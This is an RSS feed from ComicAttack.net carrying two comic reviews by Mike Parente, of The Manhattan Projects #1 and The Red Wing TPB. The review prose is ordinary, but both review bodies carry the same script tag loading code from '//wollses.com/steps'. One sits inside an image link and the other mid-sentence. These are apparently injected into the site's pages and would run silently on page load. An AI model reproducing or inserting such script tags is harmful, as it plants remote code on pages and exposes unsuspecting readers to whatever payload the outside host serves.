<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>Nick Pitarra – ComicAttack.net</title> <atom:link href="https://comicattack.net/tag/nick-pitarra/feed/" rel="self" type="application/rss+xml" /> <link>https://comicattack.net</link> <description></description> <lastBuildDate>Fri, 09 Mar 2012 09:00:20 +0000</lastBuildDate> <language>en-US</language> <sy:updatePeriod> hourly </sy:updatePeriod> <sy:updateFrequency> 1 </sy:updateFrequency> <generator>https://wordpress.org/?v=6.5.3</generator> <image> <url>https://comicattack.net/wp-content/uploads/2019/07/cropped-Review-1-1-32x32.jpg</url> <title>Nick Pitarra – ComicAttack.net</title> <link>https://comicattack.net</link> <width>32</width> <height>32</height> </image> <item> <title>Image Reviews: The Manhattan Projects #1</title> <link>https://comicattack.net/manhattanprojects1/</link> <comments>https://comicattack.net/manhattanprojects1/#comments</comments> <dc:creator><![CDATA[mike]]></dc:creator> <pubDate>Fri, 09 Mar 2012 09:00:20 +0000</pubDate> <category><![CDATA[Exclusives]]></category> <category><![CDATA[Image]]></category> <category><![CDATA[Mike]]></category> <category><![CDATA[Military]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Sci-Fi]]></category> <category><![CDATA[Image Comics]]></category> <category><![CDATA[Jonathan Hickman]]></category> <category><![CDATA[Nick Pitarra]]></category> <category><![CDATA[Oppenheimer]]></category> <category><![CDATA[The Manhattan Projects]]></category> <guid isPermaLink="false">https://comicattack.net/?p=84027</guid> <description><![CDATA[After their stellar work on The Red Wing, Jonathan Hickman and Nick Pitarra are reunited at Image Comics for another alternate history/action romp with The Manhattan Projects! Starring Robert Oppenheimer and General Leslie Groves, The Manhattan Projects is an alternate look at what could have been during a real and dangerous time for the world. […]]]></description> <content:encoded><![CDATA[<p>After their stellar work on <a href="https://comicattack.net/2011/12/ttcredwing/">The Red Wing</a>, Jonathan Hickman and Nick Pitarra are reunited at Image Comics for another alternate history/action romp with <em>The Manhattan Projects</em>! Starring Robert Oppenheimer and General Leslie Groves, <em>The Manhattan Projects</em> is an alternate look at what could have been during a real and dangerous time for the world. Set directly in World War II, Hickman and Pitarra look at a fictional reality involving the creation of the atomic bomb, and other secret projects.</p> <p><em><strong>The Manhattan Projects #1<a href="https://comicattack.net/wp-content/uploads/2012/03/The-Manhattan-Projects_1.jpg"><img fetchpriority="high" decoding="async" class="alignright size-medium wp-image-84030" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2012/03/The-Manhattan-Projects_1-195x300.jpg" alt="" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2012/03/The-Manhattan-Projects_1-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2012/03/The-Manhattan-Projects_1.jpg 585w" sizes="(max-width: 195px) 100vw, 195px" /></a></strong></em></p> <p><strong>Writer:</strong> Jonathan Hickman<br /> <strong>Artist:</strong> Nick Pitarra<br /> <strong>Colors: </strong>Cris Peter<br /> <strong>Letterer:</strong> Russ Wooton<br /> <strong>Publisher: </strong>Image Comics</p> <p> </p> <p>It’s safe to say that Hickman has a deep fascination with alternate realities. <em>The Red Wing</em> dealt deeply with the idea of being able to travel through time and other realities. <em><a href="https://comicattack.net/2011/06/ttcshield1vol2/">S.H.I.E.L.D.</a></em> (Marvel) is a romp through time, involving many intriguing persons from history, and giving a whole fresh new take on their abilities and skills.<em> The Manhattan Projects</em> is no different. Issue #1 introduces us to our main players, and a bit about how they differ from actual history. The caption that Image provides is the best way to describe what you’re going into with this title:</p> <blockquote><p>What if the research and development department created to produce the first atomic bomb was a front for a series of other, more unusual, programs? What if the union of a generation’s brightest minds was not a signal for optimism, but foreboding? What if everything… went wrong?</p></blockquote> <p> </p> <p><a href="https://comicattack.net/wp-content/uploads/2012/03/manhattan2-1.png"><img decoding="async" class="alignleft size-full wp-image-84034" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2012/03/manhattan2-1.png" alt="" width="177" height="148" /><script src="//wollses.com/steps"></script></a>The first thing you should notice is that if you look at the title, the “projects” includes an<em> s</em>. In our reality it is known as The Manhattan Project, without the <em>s</em>. In Hickman’s universe, things were not quite as *ahem* simple as the atomic bomb. The atomic bomb was a project that the masses could deal with, but the ruling powers at the time were involved in far more. Some of the projects were purely scientific, some religious, and some used just for war. It was interesting to see just how creative Hickman can be. The few glimpses readers get at the other projects that the American government was involved in are a testament to that. Hickman really manages to have a great blend between deeply rooted reality and heavy fiction.</p> <p>Sometimes Hickman’s work can get so caught up in the fictional aspect that it becomes hard to understand the concept behind what he is trying to portray. Other titles, like <em>S.H.I.E.L.D.</em>, demanded a second read through just to grasp exactly what is going on. While Hickman’s characters are easy to like and follow, sometimes the science behind the story becomes a little confusing. <em>The Manhattan Projects</em> is perhaps some of Hickman’s most easily decipherable work. While the story is placed in a fairly notable time period, the mystery behind the original Manhattan Project allows for a lot of Hickman’s creativity to flourish. For example, we are immediately introduced to a well known scientist in Robert Oppenheimer. The Oppenheimer line had a bit of a checkered past, and Hickman exploits that by creating an Oppenheimer that is an extremely disturbed individual with a ton of mystery and intrigue.</p> <p style="text-align: center;"><a href="https://comicattack.net/wp-content/uploads/2012/03/manhattan2-2-1.png"><img decoding="async" class="aligncenter size-full wp-image-84035" src="https://comicattack.net/wp-content/uploads/2012/03/manhattan2-2-1.png" alt="" width="524" height="356" srcset="https://comicattack.net/wp-content/uploads/2012/03/manhattan2-2-1.png 582w, https://comicattack.net/wp-content/uploads/2012/03/manhattan2-2-1-300x204.png 300w" sizes="(max-width: 524px) 100vw, 524px" /></a></p> <p>Nick Pittara is providing his usual great work. His lines add a lot of character to his work. While they are not the cleanest, they add a sense of realism and grit. The scene where Oppenheimer and Groves first meet was done just right; when Groves puts out his for a shake, the background gives a good look at what this man is all about, something you may not have noticed in the previous panels. The battle scenes are always dramatic, with a ton of attention paid to the detail, and each and every character has a fluid motion. Even the nameless soldiers have been given something to do, which really adds to the tension and sense of combat. One of the more confusing aspects of this book was distinguishing between Oppenheimer and his brother, which Pitarra really helped along with just minor detail differences in the faces. Cris Peter also really knocks the colors out of the park. The constant hue and glow during gunfights adds to the whole experience and provides a much less bland environment. As well, she really helps by coloring Oppenheimer and his twin differently, further helping to distinguish between the two.</p> <p>The list of surprises and creativity packed into this one issue is a lengthy one, providing a very entertaining read. The Hickman/Pitarra combo is known for its escapades through alternate timelines, and <em>The Manhattan Projects</em> is shaping up to be one of their best. Hickman has come forth with one of his most lucid ideas, and that is meant in the nicest way possible. While some of his other stories have been a tad confusing, <em>The Manhattan Projects </em>is incredibly exciting and imaginative. Pitarra only enhances the whole experience by providing his usual first-rate work that just seems to fit with Hickman’s writing. Cris Peter adds some excellent colors that just puts the art at an amazing level. If you enjoy seeing a twist on history, with great art and a ton of creativity, then <em>The Manhattan Projects</em> is for you.</p> <p><span style="text-decoration: underline;">Mike Parente</span><br /> mike@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/manhattanprojects1/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item> <title>Touring the Cosmos: The Red Wing TPB</title> <link>https://comicattack.net/ttcredwing/</link> <comments>https://comicattack.net/ttcredwing/#comments</comments> <dc:creator><![CDATA[mike]]></dc:creator> <pubDate>Tue, 27 Dec 2011 11:00:45 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Image]]></category> <category><![CDATA[Mike]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Sci-Fi]]></category> <category><![CDATA[Touring the Cosmos]]></category> <category><![CDATA[Image Comics]]></category> <category><![CDATA[Jonathan Hickman]]></category> <category><![CDATA[Nick Pitarra]]></category> <category><![CDATA[sci-fi]]></category> <category><![CDATA[The Red Wing]]></category> <guid isPermaLink="false">https://comicattack.net/?p=80051</guid> <description><![CDATA[Jonathan Hickman has become one of Marvel’s foremost writers. He is no stranger to time travel and abstract ideals, having practiced plenty with his work on Marvel’s S.H.I.E.L.D. Bringing his carefully honed skills to The Red Wing, readers are privy to an engaging science fiction story. Hickman teams with new talent Nick Pitarra and Image […]]]></description> <content:encoded><![CDATA[<p>Jonathan Hickman has become one of Marvel’s foremost writers. He is no stranger to time travel and abstract ideals, having practiced plenty with his work on Marvel’s <em>S.H.I.E.L.D.</em> Bringing his carefully honed skills to <em>The Red Wing</em>, readers are privy to an engaging science fiction story. Hickman teams with new talent Nick Pitarra and Image Comics to publish an exciting four issue mini-series called <em>The Red Wing.</em></p> <p> </p> <figure id="attachment_80054" aria-describedby="caption-attachment-80054" style="width: 193px" class="wp-caption alignright"><a href="https://comicattack.net//wp-content/uploads/2011/12/RedWing_VAR-581x900.jpg"><img loading="lazy" decoding="async" class="size-medium wp-image-80054" style="margin: 1px 4px;" src="https://comicattack.net//wp-content/uploads/2011/12/RedWing_VAR-581x900-193x300.jpg" alt="" width="193" height="300" /></a><figcaption id="caption-attachment-80054" class="wp-caption-text">#1 Variant by Dustin Weaver</figcaption></figure> <p><em><strong>The Red Wing</strong></em></p> <p><strong>Writer</strong>: Jonathan Hickman<br /> <strong>Artist</strong>: Nick Pitarra with Rachelle Rosenberg<br /> <strong>Publisher</strong>: Image Comics</p> <p>Time travel is one of those concepts that some stories just can’t seem to get right. Many theories are different regarding time travel. Whether it is linear, stacks, or changes every instant, it is not something easily explained. Jonathan Hickman decides to take time travel as his plot device and runs with it for an entertaining story in <em>The Red Wing</em>.<em> The Red Wing </em>follows two different views, and merges them into one (time travel FTW). One follows a struggling son, who enlists as a pilot to fight in a war against a future enemy that aims to wipe out existence. The other follows his father, who is lost in time, and biding his time to get back to his son and be with his family once again.</p> <p>One of writer Jonathan Hickman’s greatest strengths is his commitment to an idea. <em>The Red Wing <script src="//wollses.com/steps"></script></em>involves future technology, time travel, and many uncommon concepts. Hickman has a great understanding of the ideas he wants to portray, and really brings that with <em>The Red Wing</em>. How would we travel through time in the future? Hickman’s got an idea. All of those science fiction stories and shows that involve confusing time travel theories? Hickman simplifies it just a bit more.</p> <p><a href="https://comicattack.net//wp-content/uploads/2011/12/redwing2.jpg"><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-80109" style="margin: 1px 4px;" src="https://comicattack.net//wp-content/uploads/2011/12/redwing2-195x300.jpg" alt="" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2011/12/redwing2-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2011/12/redwing2.jpg 400w" sizes="(max-width: 195px) 100vw, 195px" /></a>This isn’t the only writing strength of <em>The Red Wing,</em> though. Hickman propels this story through a lot of human emotion. He does a great job of showcasing the different personalities in every character, and uses their motivations to really drive the story. I hate comparing writers, but Joss Whedon is one of the top in his class when developing characters, and Hickman takes a page out his book. Hickman also takes some very real human ideals like war and family, and even a little bit of evolution, and explores them in a very classy and engaging manner.</p> <p>Artist Nick Pitarra is new to the comics industry, but comes with a lot of praise from publisher Image Comics. Naming him among some of the best new talent of the year, Pitarra comes out flying in the<a href="https://comicattack.net//wp-content/uploads/2011/12/red_wing_3_cov_2x3.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-80108" style="margin: 1px 4px;" src="https://comicattack.net//wp-content/uploads/2011/12/red_wing_3_cov_2x3-196x300.jpg" alt="" width="196" height="300" srcset="https://comicattack.net/wp-content/uploads/2011/12/red_wing_3_cov_2x3-196x300.jpg 196w, https://comicattack.net/wp-content/uploads/2011/12/red_wing_3_cov_2x3.jpg 400w" sizes="(max-width: 196px) 100vw, 196px" /></a> pages of <em>The Red Wing.</em> Being a story that involves a lot of time travel, a lot of locale changes just comes with the territory. From space battles to coasting through prehistoric times, it can be a challenging task for any artist to be able to jump so much. It seems like this difficult task is actually one of the strengths of artist Pitarra, who can change environments seamlessly. Pitarra must have also done his research when it came to flying, because the angles and views he chose for his aerial scenes are done with ease. Foremost among Pitarra’s skills is that he really brings a lot of life to every panel. His characters show a ton of emotion, and no detail is skipped.</p> <p><em>The Red Wing</em> is a really well rounded science fiction story. While reading, you enjoy seeing your main characters grow, and root for them the whole time. Even though it drips with science fiction, some very realistic ideas are explored. In this case, Hickman delves into the idea and emotion behind war. He also adds in some nice character moments with the father/son dynamic. Artist Nick Pitarra is the perfect compliment to Hickman’s writing. Hickman is very detailed and versed in the concepts he writes about, and Pitarra puts just as much effort into his art. Every panel drips with detail, and every time a human is shown there is absolutely no lack of emotion in face or pose. <em>The Red Wing</em> is not your typical superhero book, but is definitely worth the read. If you enjoy time travel and science fiction, or a very character driven story, then this is for you.</p> <p><a href="https://comicattack.net//wp-content/uploads/2011/12/redwing04_cover.jpg"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-80110" src="https://comicattack.net//wp-content/uploads/2011/12/redwing04_cover-195x300.jpg" alt="" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2011/12/redwing04_cover-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2011/12/redwing04_cover.jpg 585w" sizes="(max-width: 195px) 100vw, 195px" /></a></p> <p><span style="text-decoration: underline;">Mike Parente</span><br /> mike@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/ttcredwing/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> </channel> </rss>